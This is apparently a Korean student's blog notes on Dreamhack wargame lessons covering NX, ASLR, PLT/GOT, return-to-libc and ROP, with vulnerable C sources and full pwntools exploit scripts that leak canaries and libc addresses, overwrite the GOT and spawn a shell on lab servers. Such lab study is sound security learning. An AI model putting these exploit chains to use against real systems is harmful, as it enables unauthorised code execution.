[드림핵-시스템] Mitigation: NX & ASLR

스근한국밥한그릇·2025년 1월 2일
0

SYSTEM

목록 보기
11/15

1. NX, ASLR

1-1 NX

  • 실행에 사용되는 메모리 영역과 쓰기에 사용되는 메모리 영역 분리하는 보호 기법
  1. 코드 영역 쓰기 권한 있을 경우 공격자가 수정시 원하는 코드 실행 가능
  2. 스택, 데이터 영역 실행 권한 : Return to shellcode 같은 공격 시도 가능

1-1-1 gdb vmmap

  • NX 적용 전후의 메모리 맵 비교가능
  1. 적용 X bin: 스택영역 실행 권한 존재 - rwx(nx-disabled)
  2. 적용 O bin : 코드 영역 ㅗ이 실행 권한 X
  3. -zexecstack 옵션 제거후 컴파일시 nx 활성화 됨

1-2 ASLR

  • 바이너리가 실행될 때마다 스택, 힙, 공유 라이브러리 등 임의의 주소에 할당하는 보호 기법
  • cat /proc /sys/kernel/randomize_va_sapce
  1. No ASLR - 0 : ASLR 적용 X
  2. Conservative Randomization - 1 : 스택, 라이브러리, vdso 등
  3. conservative Randomization + brk - 2 : 1의 영역과 brk로 할당한 영역

1-2-1 특징

  1. 코드 영역의 Main 함수 제외한 다른 영역의 주소들은 실행마다 변경됨 -> 실행 전 주소 예측 불가능
  2. libc_base, printf 주소 하위 12비트 값 변경 X
    • 리눅스 ASLR 적용시 파일을 페이지 단위로 임의 주소에 매핑, 페이지의 크기인 12비트 이하로는 주소 변경 X
    • libc_base, printf 주소차이 항상 같다 : 라이브러리 파일 그대로 매핑 -> 심볼들 간의 Offset은 항상 일정
  3. 반환주소 쉘코드 직접 덮는 대신 이들 활용시 NX, ASLR 우회하여 공격 가능
    • Return-To-Libc (RTL)
    • Return-Oriented-Programming (ROP)

2. Library

  • 컴퓨터 시스템에서 프로그램들이 함수나 변수 공유해서 사용할 수 있게 한다. 반복적으로 정의해야하는 수고를 덜어주기 때문에 개발의 효율 상승
  1. 바이너리 실행시 라이브러리가 프로세스의 메모리에 매핑
  2. 실행 중에 라이브러리의 함수 호출시 매핑된 라이브러리에서 호출한 함수의 주소를 찾고 그 함수 실행
  3. PLT(Procedure Linkage Table)와 같은 주소 가져옴
  1. 바이너리에 정적 라이브러리의 필요한 모든 함수 포함
  2. 해당 함수 호출시 라이브러리를 참조하는 것이 아니라 자신의 함수 호출하는것처럼 호출 가능
  3. 바이너리에서 라이브러리 사용시 그 라이브러리 복제가 여러번 이루어지게 되므로 용량 낭비

3. PlT & GOT

  • 첫 호출
  1. GOT에는 함수의 주소가 저장되어 있지 않음
  2. dl_resolve 함수 실행하여 해당 함수의 주소를 GOT에 저장
  • 두번째 이후
    • GOT의 주소 가져옴
  • runtime resolve : 바이너리 실행되면 ASLR에 의해 임의의 주소에 매핑, 이 상태에서 라이브러리 함수 호출시 함수의 이름 바탕으로 라이브러리에서 심블들 탬색하고, 함수 발견시 그 주소로 실행 흐름을 옮기는 과정
  1. 반복 호출되는 함수 정의 매번 탐색시 비효율 -> ELF는 GOT(Global Offset Table)라는 테이블 두고, Resolve된 함수의 주소 해당 테이블에 저장
  2. gdb got : GOT 상태 보여주는 명령어
  • puts 호출 시나리오
  1. 주소 찾기전 : plt section 어딘가에 주소 적혀있음, 해당 주소에 breakpoint
    • PLT : 함수 실행전 주소 != 호출후 주소
    • GOT : 함수 실행전 주소 == 호출후 주소
  2. dl_runtime_resolve_fxsae 호출됨 : 해당 함수에서 puts 주소 구해지고, GOT 엔트리에 주소 슨다.
  3. 이후 빠져오면 GOT 엔트리에 LIBC 영역 내에 puts 주소 쓰여짐
  • 시스템 해킹관점 PLT, GOT
  1. 동적 링크된 바이너리에서 라이브러리 함수 주소 찾고, 기록시 사용되는 중요한 테이블
  2. PLT에서 GOT 참조하여 실행흐름 옮길때 GOT의 값을 검증하지 않는다는 보안상의 약점 존재
    • puts의 GOT 엔트리에 저장된 값을 공격자가 임의로 변경 가능하면 puts 호출될때 원하는 코드 실행가능 => GOT OVerwrite

4. Return To Library

  • NX로 인해 공격자가 버퍼에 주입한 쉘코드 실행 어렵지만 스택 버퍼 오버플로우 취약점으로 반환 주소 덮는 것은 여전히 가능 -> 실행 권한 남아있는 코드 영역으로 반환 주소 덮는 공격 기법 고안
  • 프로세스에 실행권한이 있는 메모리 영역 : 바이너리의 코드 영역, 바이너리가 참조하는 라이브러리의 코드영역

4-1 코드 분석

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}          
  • 접근 방법
  1. gdb를 통하여 main 함수영역 들여다 보기
    • buf <=> sfp : 0x40
    • buf <=> cnry : 0x40 - 0x8 = 0x38
    • \x00 합한 payload를 보내서 cnry 주소 가져옴
  2. "/bin/sh", system, pop rdi, ret 주소 파악한 이후

4-2 Exploit code

from pwn import *

def slog(name, addr):
    return success(' : '.join([name, hex(addr)]))

p = remote("host1.dreamhack.games", 22421)
e = ELF("./rtl")
libc = e.libc
rop = ROP(e)

context.arch = 'amd64'

buf2sfp = 0x40
buf2cnry = buf2sfp - 0x8
payload = b'A' * (buf2cnry + 1)
p.sendafter('Buf:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00' + p.recvn(7))

slog("Cnry", cnry)

system_plt = e.symbols['system']
sh = next(e.search(b'/bin/sh'))
pop_rdi = rop.find_gadget(['pop rdi'])[0]
ret = rop.find_gadget(['ret'])[0]

payload = b'A' * buf2cnry
payload += p64(cnry)
payload += b'A' * 0x8
payload += p64(ret) + p64(pop_rdi) + p64(sh) + p64(system_plt)

p.sendafter("Buf: ", payload)

p.interactive()
  • payload 분석
  1. system_plt = 위에서 system() 호출했기 때문에 Plt에 저장됨, 해당 주소 참조
  2. 특정 문자열 가져오기 : next(e.search(b'/bin/sh'))
  3. ROPgadget 가져와야함
    • system(rdi) -> rdi에 /bin/sh 이 저장되도록 한 이후 system 호출 되게 해야함
    • pop rdi; ret gadget 필요
    • MOVAPS : Ubuntu 18.04 .. 이후 부터 stack align 필요

4-3 details

4-3-1 finding gadget

  1. 명령어로 찾기 (pop rdi; ret, ret) - 두개 찾기
    • ROPgadget --binary ./filename --re 'pop rdi'
    • ROPgadget --binary ./filename | grep 'pop rdi'
  2. pwntools로 찾기
    • ROP(ELF('./filename')).find_gadget(['pop rdi'])[0]
    • [0] : addr

4-3-2 Stack align

  • 위에서 ret이 한번더 필요한 이유 : system()의 주소가 0x10의 배수여야함
  • 잘못 정렬된 ROP 사용되었을때 호환성 문제 일으킴, X86_64 기준 16 byte이 아닌 데이터에서 작동하려 할때 General Protection Exception 발생
  1. call 실행 직전 RSP는 16의 배수 (0x10)
  2. RBP는 항상 16의 배수
  3. 함수 프롤로그 실행 후 RSP는 16의 배수
  4. 함수의 entry point에선 RSP +8이 16의 배수...
  • 스택 상황 : sfp -> ret
  1. sfp는 0x10의 배수
  2. ret추가 안힐시 system()은 0x10의 배수가 아니게됨 -> error

5. ROP

5-1 code 분석

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}
  1. bof 가능
    • canary 값 가져온 이후에 exploit 코드 수행

5-2 exploit code

#! /bin/usr/python3

from pwn import *

def slog(name, addr):
    return success(" : ".join([name, hex(addr)]))

#p = process('./rop')
p = remote("host1.dreamhack.games", 9677)
e = ELF('./rop')
libc = ELF("./libc.so.6")

context.arch = 'amd64'

buf2sfp = 0x40
buf2cnry = buf2sfp - 0x8

payload = b'A' * (buf2cnry +1)
p.sendafter("Buf:", payload)
p.recvuntil(payload)
cnry = u64(b'\x00' + p.recvn(7))

slog("cnry", cnry)

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854

payload = b'A' *0x38 + p64(cnry) + b'B' * 0x8

# write(1, read_got, ..)
payload += p64(pop_rdi) + p64(1) #rdi = 1

#rsi =read_goi, r15 = 0
#usually 3rd arg = rdx, but finding rdx gadget is difficut
#and that arg is work not important in this program
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

#read(0, read_got, ...)
#GOT overwrite
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

#read("/bin/sh") == system("bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret) #stack align
payload += p64(read_plt)

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read'] #libc base addr
system = lb + libc.symbols['system']

slog('read', read)
slog('libc_base', lb)
slog('system', system)

#send payload about read(0, read_got, ..)
p.send(p64(system) + b'/bin/sh\x00')

p.interactive()
  1. 3번째 arg는 rdx이지만 찾는것은 어렵고 실제로 중요한 역할을 하는 것이 아니기에 해당 코드에서는 r15를 사용
  2. recvn(6) + b'\x00' * 2하는 이유
    • libc에서 함수 맨앞의 2바이트 \x00\x00 형태로 정렬 해둠

6. BasicRop_x64

6-1 코드 분석

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}
  • checksec 통해서 canary 없는것과, x64 형태인 것을 확인
  1. buf 의 크기는 0x40, read함수는 0x400까지 입력 받음
    • bof 가능

6-2 exploit code

#! /bin/usr/python3

from pwn import *

def slog(name, addr):
    return success(" : ".join([name, hex(addr)]))

binary = "./basic_rop_x64"
p = remote("host3.dreamhack.games", 21292)
e = ELF(binary)
libc = ELF("./libc.so.6", checksec = False)
r = ROP(e)

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
main = e.sym['main']

sh = list(libc.search(b'/bin/sh'))[0]
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]

payload = b'A' * 0x48
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(8)
payload += p64(write_plt) + p64(main)

p.send(payload)

p.recvuntil(b'A' * 0x40)

read = u64(p.recvn(6) + b'\x00' * 2)
lb = read - libc.sym['read']
system = lb + libc.sym['system']
binsh = lb + sh

payload = b'A' * 0x48
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)

p.send(payload)
p.recvuntil(b'A' * 0x40)

p.interactive()
  1. read_got 주소 파악
    • libc 주소와의 거리 파악하기 위함
  2. main으로 return 할 payload 작성
    • Read함수 에서 read_got 값 가져오고
    • write에서 main으로 돌아가야함
      • payload를 보내야 read_got의 주소를 recv를 할 수 있기 때문
  3. 두번째 main함수 진입
    • read함수에서 system("/bin/sh") 실행

7. BaiscRop_x86

7-1 code 분석

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}
  1. checksec : canary X, x86형태(4bytes)
  2. bof 가능

7-2 exploit 코드

#! /bin/usr/python3

from pwn import *

def slog(name, addr):
    return success(" : ".join([name, hex(addr)]))

binary = "basic_rop_x86"
p = remote("host3.dreamhack.games", 23049)
e = ELF(binary)
r = ROP(e)
libc = ELF("libc.so.6")

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
main = e.symbols['main']

read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
binsh = list(libc.search(b'/bin/sh'))[0]

pop3ret = 0x08048689
p1ret = 0x0804868b

payload = b'A'* 0x48

#write(1, read_got, 4)
payload += p32(write_plt)
payload += p32(pop3ret)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

# return to main
payload += p32(main)
p.send(payload)

p.recvuntil(b'A' * 0x40)
read = u32(p.recvn(4))
lb = read - read_offset
system = lb + system_offset
binsh = binsh + lb

payload = b'A' * 0x48

#system("/bin/sh")
payload += p32(system)
payload += p32(p1ret) + p32(binsh)

p.send(payload)
p.recvuntil(b'A' * 0x40)

p.interactive()
  1. x86 : 4byte
  2. stack에 저장해서 가져오기때문에 x64와 다른형식으로 코드 작성해야함
    • 따로 글 작성예정
  3. stack에서 pop만 신경써서 작성하면 x64와 코드 유사
profile
항상 든든하게 코딩 한그릇🧑‍💻🍚

0개의 댓글